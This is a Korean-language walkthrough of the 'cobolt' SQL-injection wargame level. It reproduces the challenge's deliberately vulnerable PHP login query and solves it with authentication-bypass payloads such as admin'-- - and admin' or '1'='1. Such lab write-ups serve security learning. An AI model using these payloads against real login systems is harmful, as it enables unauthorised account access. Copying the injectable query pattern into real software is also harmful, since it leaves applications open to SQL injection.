<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
GET방식으로 id,pw를 받으며, id와 pw에 prob, _, ., () 가 들어 있고, /i 대소문자가 구분 되지 않으면 필터링되서 No Hack ~_~ 이 출력된다.
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
id와 pw 둘 중 하나를 참으로 만들어주면 해당 쿼리문을 우회 가능
pw가 md5로 되어있기 때문에 id를 참으로 만들어주면 된다.
if($result['id'] == 'admin') solve("cobolt");
id 가 admin 인 경우, 성공적으로 출력
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
그렇지 않으면, Hello, '입력한 id' You are not admin라고 출력 됨
id=admin&pw-1234
일단 쿼리가 어떻게 처리되는지 확인해보았다.
id를 참으로 만들어주어야 한다.
id=admin'-- -
SQL에서 더블대시 --
는 주석 처리를 한다.
-- -
를 사용하여 --
뒤에 바로 주석을 처리할 수 있게 -
를 붙히면 바로 공백 처리할 수 있다.
쉽게 이해하기 위해 아래의 그림을 확인해보자.
또는 -- !
, -- +
등 --
뒤에 아무거나 붙히면 --
뒤에 문자열이 주석이 되버린다.
id=admin' or '1'='1&pw=(아무거나)
admin 또는 1 = 1 참을 만들어주고 pw에는 hello를 입력했더니 문제가 풀린 것을 알 수 있다!